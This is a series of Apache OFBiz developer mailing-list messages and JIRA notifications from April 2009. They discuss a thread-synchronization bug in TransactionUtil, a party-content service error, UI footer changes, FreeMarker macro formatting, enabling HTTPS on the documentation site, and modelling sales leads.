FYI I am working on the migrations of the security screens right now. Jacopo On Apr 17, 2009, at 10:50 AM, Jacopo Cappellato wrote: Hi Adam, On Apr 16, 2009, at 11:43 PM, Adam Heath wrote: David E Jones wrote: You must have missed quite a few messages to not have seen the discussion around this... The short answer is to look at the build.xml file, there is a target there for creating your own admin user (thanks to Jacopo for this!). Ok, see the ant targets. I won't do it that way for debian, I'll use debconf, which is much nicer. This may help: http://docs.ofbiz.org/x/aQM Actually, no, those ant targets fail. I said there is no admin *Party*. The ant targets just create UserLogin and UserLoginSecurityGroup, but do *not* create the Party. The ant targets should work fine but yes, they don't create a party record, which is not available in a framework only setup and should not required by the applications. However, due to a bad ui design it is not possible (unless you use the webtools) to create users/permissions/parties just using an administrator login: I know Adrian was working in the migration of the security screens to the webtools application, after this is done it will be possible to use the administrator login to create parties/security records etc... The best solution right now is to use the webtools to add a Party record associated to the user. I hope it helps, Jacopo smime.p7s Description: S/MIME cryptographic signature
[jira] Created: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
[ https://issues.apache.org/jira/browse/OFBIZ-2315?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Philippe Mouawad updated OFBIZ-2315: Attachment: ContentionLog.txt Contention log TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Attachments: ContentionLog.txt Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
[ https://issues.apache.org/jira/browse/OFBIZ-2315?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700153#action_12700153 ] Philippe Mouawad commented on OFBIZ-2315: - After analysis, we can see that 2 maps : - allThreadsTransactionBeginStack - allThreadsTransactionBeginStackSave Are not synchronized and can be accessed (corrupted) from non synchronized blocks. This IMHO provokes corruption of FastMap and explains why the FastMap.resizeTable has been running for so long. TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Attachments: ContentionLog.txt Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
[ https://issues.apache.org/jira/browse/OFBIZ-2315?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Philippe Mouawad updated OFBIZ-2315: Attachment: patch-TransactionUtil.patch Patch to TransactionUtil , ofbiz-trunk revision: 765951 TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Attachments: ContentionLog.txt, patch-TransactionUtil.patch Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
[ https://issues.apache.org/jira/browse/OFBIZ-2315?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700158#action_12700158 ] Philippe Mouawad commented on OFBIZ-2315: - Notice other synchronization problem on debugResMap. TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Attachments: ContentionLog.txt, patch-TransactionUtil.patch Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-2315) TransactionUtil : 3 Map corruptions related to mis synchronization
[ https://issues.apache.org/jira/browse/OFBIZ-2315?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700155#action_12700155 ] Philippe Mouawad edited comment on OFBIZ-2315 at 4/17/09 5:45 AM: -- Patch to TransactionUtil , ofbiz-trunk revision: 765951 Philippe www.ubik-ingenierie.com was (Author: pmouawad): Patch to TransactionUtil , ofbiz-trunk revision: 765951 TransactionUtil : 3 Map corruptions related to mis synchronization -- Key: OFBIZ-2315 URL: https://issues.apache.org/jira/browse/OFBIZ-2315 Project: OFBiz Issue Type: Bug Affects Versions: Release Branch 4.0, SVN trunk Reporter: Philippe Mouawad Attachments: ContentionLog.txt, patch-TransactionUtil.patch Randomly we are having Thread contention problems in production related to synchronization issues in this class. See attached log file. As you can see, a lot of threads are locked by some code called by TransactionUtil.setTransactionBeginStack that has been running for 180165 ms : Thread[default-invoker-Thread-4582999,5,main]:4590333, stackTrace: javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.access$1200(Unknown Source) javolution.util.FastMap$3.run(Unknown Source) javax.realtime.MemoryArea.executeInArea(Unknown Source) javolution.util.FastMap.resizeTable(Unknown Source) javolution.util.FastMap.mapEntry(Unknown Source) javolution.util.FastMap.addEntry(Unknown Source) javolution.util.FastMap.put(Unknown Source) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:657) org.ofbiz.entity.transaction.TransactionUtil.setTransactionBeginStack(TransactionUtil.java:646) org.ofbiz.entity.transaction.TransactionUtil.begin(TransactionUtil.java:135) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:297) org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:208) org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:149) org.ofbiz.service.job.GenericServiceJob.exec(GenericServiceJob.java:69) org.ofbiz.service.job.JobInvoker.run(JobInvoker.java:240) java.lang.Thread.run(Thread.java:595) -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2298) Issue with the new smoothfeather look in OFBiz documentation (Confluence)
[ https://issues.apache.org/jira/browse/OFBIZ-2298?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700169#action_12700169 ] Jacques Le Roux commented on OFBIZ-2298: Alain Ivars just tell me that the tables work well with IE6, confusing ;) Issue with the new smoothfeather look in OFBiz documentation (Confluence) - Key: OFBIZ-2298 URL: https://issues.apache.org/jira/browse/OFBIZ-2298 Project: OFBiz Issue Type: Improvement Environment: NA Reporter: Jacques Le Roux The styles associate with * and ** are not rendering bullets now. Could it be possible to differentiate simple indentation with bullet (numbering is working well) ? -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
Re: Ofbiz Installation
I tried running ofbiz-trunk-current\ofbiz-trunk\startofbiz(batch file), but it does not execute, cmd prompt flashes for few seconds and goes away without executing the file and i dont get error either. -- View this message in context: http://www.nabble.com/Ofbiz-Installation-tp23085874p23097403.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
[jira] Created: (OFBIZ-2316) Replace the footer in smoothfeater
Replace the footer in smoothfeater -- Key: OFBIZ-2316 URL: https://issues.apache.org/jira/browse/OFBIZ-2316 Project: OFBiz Issue Type: Sub-task Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Jacques Le Roux Fix For: Release Branch 9.04, SVN trunk Attachments: screenshot-1.jpg ON dev ML, my request was Actually the things that IMO are missing are * The ASF copyright and link to a apache.org site * Powered by OFBiz and link to ofbiz.apache.org * Release.revision informations Here is Ryan Foster's proposition The originally thinking was to give the backend look and feel a more desktop like feeling, where most of the information and navigation is located in sidebars, file menus, tabs, etc. Following that line of thinking, maybe we put a help link in the header right next to preferences that drops down in a similar fashion to show copyright, link to apache, etc. This would function exactly the same way that the help link functions in apps like Firefox, Mac Mail, Outlook, Word, etc. We could even put a simple keyword search field in this section that searches docs.ofbiz.org. See the attached screenshot for an example. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-2316) Replace the footer in smoothfeater
[ https://issues.apache.org/jira/browse/OFBIZ-2316?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacques Le Roux updated OFBIZ-2316: --- Attachment: screenshot-1.jpg Replace the footer in smoothfeater -- Key: OFBIZ-2316 URL: https://issues.apache.org/jira/browse/OFBIZ-2316 Project: OFBiz Issue Type: Sub-task Components: ALL COMPONENTS Affects Versions: Release Branch 9.04, SVN trunk Reporter: Jacques Le Roux Fix For: Release Branch 9.04, SVN trunk Attachments: screenshot-1.jpg ON dev ML, my request was Actually the things that IMO are missing are * The ASF copyright and link to a apache.org site * Powered by OFBiz and link to ofbiz.apache.org * Release.revision informations Here is Ryan Foster's proposition The originally thinking was to give the backend look and feel a more desktop like feeling, where most of the information and navigation is located in sidebars, file menus, tabs, etc. Following that line of thinking, maybe we put a help link in the header right next to preferences that drops down in a similar fashion to show copyright, link to apache, etc. This would function exactly the same way that the help link functions in apps like Firefox, Mac Mail, Outlook, Word, etc. We could even put a simple keyword search field in this section that searches docs.ofbiz.org. See the attached screenshot for an example. -- This message is automatically generated by JIRA. - You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-2300) party content - error
[
https://issues.apache.org/jira/browse/OFBIZ-2300?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanelfocusedCommentId=12700178#action_12700178
]
Aswath Satrasala commented on OFBIZ-2300:
-
Hi,
Following is the message from ofbiz.log.
2009-04-17 18:58:57,214 (http-0.0.0.0-8443-1) [
ModelService.java:546:ERROR] [ModelService.validate] : {createPartyContent} :
(IN) Required test error: org.ofbiz.service.ServiceValidationException: The
following required parameter is missing: [IN] [createPartyContent.contentId]
2009-04-17 18:58:57,218 (http-0.0.0.0-8443-1) [
ServiceDispatcher.java:369:ERROR]
exception report --
Incoming context (in runSync : createPartyContent) does not match expected
requirements
Exception: org.ofbiz.service.ServiceValidationException
Message: The following required parameter is missing: [IN]
[createPartyContent.contentId]
stack trace ---
org.ofbiz.service.ServiceValidationException: The following required parameter
is missing: [IN] [createPartyContent.contentId]
org.ofbiz.service.ModelService.validate(ModelService.java:607)
org.ofbiz.service.ModelService.validate(ModelService.java:543)
org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:367)
org.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:214)
org.ofbiz.service.GenericDispatcher.runSync(GenericDispatcher.java:169)
org.ofbiz.minilang.method.callops.CallService.exec(CallService.java:244)
org.ofbiz.minilang.SimpleMethod.runSubOps(SimpleMethod.java:921)
org.ofbiz.minilang.SimpleMethod.exec(SimpleMethod.java:749)
org.ofbiz.minilang.SimpleMethod.runSimpleMethod(SimpleMethod.java:149)
org.ofbiz.minilang.SimpleMethod.runSimpleEvent(SimpleMethod.java:110)
org.ofbiz.webapp.event.SimpleEventHandler.invoke(SimpleEventHandler.java:69)
party content - error
-
Key: OFBIZ-2300
URL: https://issues.apache.org/jira/browse/OFBIZ-2300
Project: OFBiz
Issue Type: Bug
Components: party
Affects Versions: SVN trunk
Environment: r765067 - windows xp
Reporter: Aswath Satrasala
r765067 - windows xp
-Logged in as admin/ofbiz
-Clicked on Party
-Looked up 'externaluser'
-Clicked on the 'Party Content (Adding content for externaluser)
-AddPartyContent
The Following Errors Occurred:
ERROR: Could not complete the Creates Party Associated Content
[file:/D:/aswath/workspace/ofbiz/applications/party/script/org/ofbiz/party/party/PartySimpleEvents.xml#createPartyContent]
process [problem invoking the [createPartyContent] service with the map
named [partyContentMap] containing [[partyId=externaluser,
partyContentTypeId=INTERNAL, _uploadedfile_filename=asw...@google.com_082008
I.pdf, uploadedFile=java.nio.HeapByteBuffer[pos=0 lim=13854 cap=13854],
_uploadedFile_contentType=application/octet-stream,
userLogin=[GenericEntity:UserLogin][createdStamp,2009-04-09
14:59:57.593(java.sql.Timestamp)][createdTxStamp,2009-04-09
14:59:51.328(java.sql.Timestamp)][currentPassword,{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a(java.lang.String)][disabledDateTime,null()][enabled,null()][hasLoggedOut,null()][isSystem,null()][lastCurrencyUom,null()][lastLocale,null()][lastTimeZone,null()][lastUpdatedStamp,2009-04-09
14:59:58.407(java.sql.Timestamp)][lastUpdatedTxStamp,2009-04-09
14:59:58.406(java.sql.Timestamp)][partyId,admin(java.lang.String)][passwordHint,null()][requirePasswordChange,null()][successiveFailedLogins,null()][userLdapDn,null()][userLoginId,admin(java.lang.String)],
locale=en_US]]: The following required parameter is missing: [IN]
[createPartyContent.contentId]]
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
Question about formatting ftl macros with embedded html code
What is the best way to format the code of a Fremarker macro
containing embedded html code, used to implement the widget renderers?
Let's consider, for example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if style?has_content/span/#if/
#macro
Should we try to format it to maximize its readibility? For example:
#macro renderFieldTitle style title
#if style?has_content
span class=${style}
/#if
${title}
#if style?has_content
/span
/#if
/#macro
Or should we format it so that the generated code (html) is more
readable? For example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if
${title}
#if style?has_content/span/#if/#macro
I am trying to improve the new widget macro libraries and I am not
sure how to proceed.
Jacopo
smime.p7s
Description: S/MIME cryptographic signature
Re: Ofbiz Installation
Please use rather user ML for such questions, see why here : http://docs.ofbiz.org/display/OFBADMIN/Mailing+Lists#MailingLists-DeveloperList:dev@ofbiz.apache.org Thanks Jacques PS : try startofbizNoLog to see what happens From: shuchi shu...@pexsupply.com I tried running ofbiz-trunk-current\ofbiz-trunk\startofbiz(batch file), but it does not execute, cmd prompt flashes for few seconds and goes away without executing the file and i dont get error either. -- View this message in context: http://www.nabble.com/Ofbiz-Installation-tp23085874p23097403.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
Re: Question about formatting ftl macros with embedded html code
Hi Jacopo
Have you had a look at any of the stuff here: http://freemarker.sourceforge.net/docs/dgui_misc_whitespace.html
?
It might be possible to find the best of both worlds.
Regards
Scott
HotWax Media
http://www.hotwaxmedia.com
On 18/04/2009, at 2:04 AM, Jacopo Cappellato wrote:
What is the best way to format the code of a Fremarker macro
containing embedded html code, used to implement the widget renderers?
Let's consider, for example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if style?has_content/span/#if/
#macro
Should we try to format it to maximize its readibility? For example:
#macro renderFieldTitle style title
#if style?has_content
span class=${style}
/#if
${title}
#if style?has_content
/span
/#if
/#macro
Or should we format it so that the generated code (html) is more
readable? For example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if
${title}
#if style?has_content/span/#if/#macro
I am trying to improve the new widget macro libraries and I am not
sure how to proceed.
Jacopo
smime.p7s
Description: S/MIME cryptographic signature
Re: Question about formatting ftl macros with embedded html code
Thanks Scott,
this is exactly what I was looking for.
Jacopo
On Apr 17, 2009, at 4:19 PM, Scott Gray wrote:
Hi Jacopo
Have you had a look at any of the stuff here: http://freemarker.sourceforge.net/docs/dgui_misc_whitespace.html
?
It might be possible to find the best of both worlds.
Regards
Scott
HotWax Media
http://www.hotwaxmedia.com
On 18/04/2009, at 2:04 AM, Jacopo Cappellato wrote:
What is the best way to format the code of a Fremarker macro
containing embedded html code, used to implement the widget
renderers?
Let's consider, for example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if${title}#if style?has_content/span/
#if/#macro
Should we try to format it to maximize its readibility? For example:
#macro renderFieldTitle style title
#if style?has_content
span class=${style}
/#if
${title}
#if style?has_content
/span
/#if
/#macro
Or should we format it so that the generated code (html) is more
readable? For example:
#macro renderFieldTitle style title#if style?has_contentspan
class=${style}/#if
${title}
#if style?has_content/span/#if/#macro
I am trying to improve the new widget macro libraries and I am not
sure how to proceed.
Jacopo
smime.p7s
Description: S/MIME cryptographic signature
Re: docs.ofbiz.org
No concern on spoofing - just wondering why it's all http instead of https - and now that we have a cert - let's go https. Any objections let me know - but I'll likely roll this out today as well. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Ean Schuessler e...@brainfood.com wrote: Is the concern that someone would spoof the doc content? - Tim Ruppert wrote: Just wondering if we can / should start using the https on docs.ofbiz.org? I noticed that when you log in, it just goes back to http - and now that we have a valid cert, shouldn't we change this? Let me know your thoughts. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315
Re: SFA lead handling
Great stuff gents. Ean, if you want to write down some of your thoughts on where we should go next, I'll be happy to dive in there and offer some feedback as well as getting people rolling on making this type of thing happen for us all. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - David E Jones david.jo...@hotwaxmedia.com wrote: On Apr 16, 2009, at 11:14 AM, Ean Schuessler wrote: We're in the process of overhauling the Brainfood.com site and I'm trying to leverage the SFA system. I see some simple things that don't work, like it not storing address and telephone information, but those are easy fixes. I'm more interested in what the workflow is for dealing with leads on an ongoing basis. To me it would be logical if a Lead could be graduated to an Opportunity and an Opportunity could, in turn, be graduated to a Project. Leads seem mostly to be a special case of a party and the use of the partyStatusId as a lead state tracking mechanism seems like an abuse to me. It seems to me that the process of qualifying a lead should probably have its own distinct data element. Depending on your point of view, it could be a WorkEffort or at least a CommunicationEvent that has child CommunicationEvents associated with it. Thoughts? A couple of, perhaps wild and crazy, thoughts: 1. to get the process down and work together to refine it and make the implementation match it would be _great_; this is the sort of effort that I think will be the next great phase of existence for OFBiz (and what I plan to push in coming months and talk about at ApacheCon in Nov and to some extent at OSCON in July); the documents for this are in a new space on the docs.ofbiz.org confluence site here: http://docs.ofbiz.org/display/OFBREQDES/Universal+Business+Process+Library+Index (in the OFBREQDES space) the page for the early part of the sales process is here: http://docs.ofbiz.org/display/OFBREQDES/Sales+Representative+Seeks+Prospects+and+Opportunities As you can see there isn't much in that story (I haven't gotten to it yet... :) ), just some ideas about things that should go into the story. 2. I think the most literal modeling of this would involve extending the PartyRole entity to add a statusId (and perhaps add a PartyRoleStatus entity to keep the status history); I got to that though by starting with: what is a lead? It is basically a role that a party can be in, and for that specific role we want to track the party's status; this concept could be used for other roles as well, but seems to make good sense for a lead, account, etc in the sales world -David
Re: docs.ofbiz.org
My personal opinion is that I like to enter my password on all site with SSL - but hell I could be naive enough to think that might help :) Anyways, I'm doing a bunch of OFBiz related things this morning - one of which is this unless I get some overwhelming response that echoes David's concerns. Lemme know - I'll put it lower down in the queue for sure. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - David E Jones david.jo...@hotwaxmedia.com wrote: Without SSL it is certainly more vulnerable to things like session hijacking, but this is a fairly open site where any can read anything, and just writing is restricted in certain places. I personally don't like the SSL idea a whole lot because it slows things down a lot (ie images/css/etc are not cached, etc), and I'm not sure if there are any clear and present dangers for this site... -David On Apr 16, 2009, at 11:07 AM, Ean Schuessler wrote: Is the concern that someone would spoof the doc content? - Tim Ruppert wrote: Just wondering if we can / should start using the https on docs.ofbiz.org? I noticed that when you log in, it just goes back to http - and now that we have a valid cert, shouldn't we change this? Let me know your thoughts. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315
Re: docs.ofbiz.org
Thanks Tim for this operation. Tim Ruppert a écrit : No concern on spoofing - just wondering why it's all http instead of https - and now that we have a cert - let's go https. Any objections let me know - but I'll likely roll this out today as well. Cheers, Tim -- Tim Ruppert HotWax Media http://www.hotwaxmedia.com o:801.649.6594 f:801.649.6595 - Ean Schuessler e...@brainfood.com wrote: Is the concern that someone would spoof the doc content? - Tim Ruppert wrote: Just wondering if we can / should start using the https on docs.ofbiz.org? I noticed that when you log in, it just goes back to http - and now that we have a valid cert, shouldn't we change this? Let me know your thoughts. -- Ean Schuessler, CTO Brainfood.com e...@brainfood.com - http://www.brainfood.com - 214-720-0700 x 315 -- Nicolas MALIN Consultant Tél : 06.17.66.40.06 Site projet : http://www.neogia.org/ --- Société LibrenBerry Tél : 02.48.02.56.12 Site : http://www.librenberry.net/
Re: svn commit: r766015 - /ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Should we not backport this commit and the previous to 9.04 ?
Jacques
From: jaco...@apache.org
Author: jacopoc
Date: Fri Apr 17 14:02:20 2009
New Revision: 766015
URL: http://svn.apache.org/viewvc?rev=766015view=rev
Log:
Added missing
Modified:
ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Modified: ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl?rev=766015r1=766014r2=766015view=diff
==
--- ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl (original)
+++ ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl Fri Apr 17
14:02:20 2009
@@ -149,7 +149,7 @@
#macro renderHiddenField name valueinput type=hidden name=${name}#if value?has_content
value=${value}/#if//#macro
#macro renderIgnoredField/#macro
-#macro renderFieldTitle style title#if style?has_contentspan class=${style}/#if${title}#if
style?has_content/span/#if/#macro
+#macro renderFieldTitle style title#if style?has_contentspan class=${style}/#if${title}#if
style?has_content/span/#if/#macro
#macro renderSingleFormFieldTitle/#macro
#macro renderFormOpen linkUrl formType targetWindow containerId containerStyle autocomplete name useRowSubmitform method=post
action=${linkUrl}#if formType==upload enctype=multipart/form-data/#if#if targetWindow?has_content
target=${targetWindow}/#if#if containerId?has_content id=${containerId}/#if class=#if
containerStyle?has_content${containerStyle}#elsebasic-form/#if onSubmit=javascript:submitFormDisableSubmits(this)#if
autocomplete?has_content autocomplete=${autocomplete}/#if name=${name} #if useRowSubmit?has_content
useRowSubmitinput type=hidden name=_useRowSubmit value=Y//#if/#macro
Re: svn commit: r766015 - /ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
+1
Cheers,
Tim
--
Tim Ruppert
HotWax Media
http://www.hotwaxmedia.com
o:801.649.6594
f:801.649.6595
- Jacques Le Roux jacques.le.r...@les7arts.com wrote:
Should we not backport this commit and the previous to 9.04 ?
Jacques
From: jaco...@apache.org
Author: jacopoc
Date: Fri Apr 17 14:02:20 2009
New Revision: 766015
URL: http://svn.apache.org/viewvc?rev=766015view=rev
Log:
Added missing
Modified:
ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Modified:
ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
URL:
http://svn.apache.org/viewvc/ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl?rev=766015r1=766014r2=766015view=diff
==
--- ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
(original)
+++ ofbiz/trunk/framework/widget/templates/htmlFormMacroLibrary.ftl
Fri Apr 17 14:02:20 2009
@@ -149,7 +149,7 @@
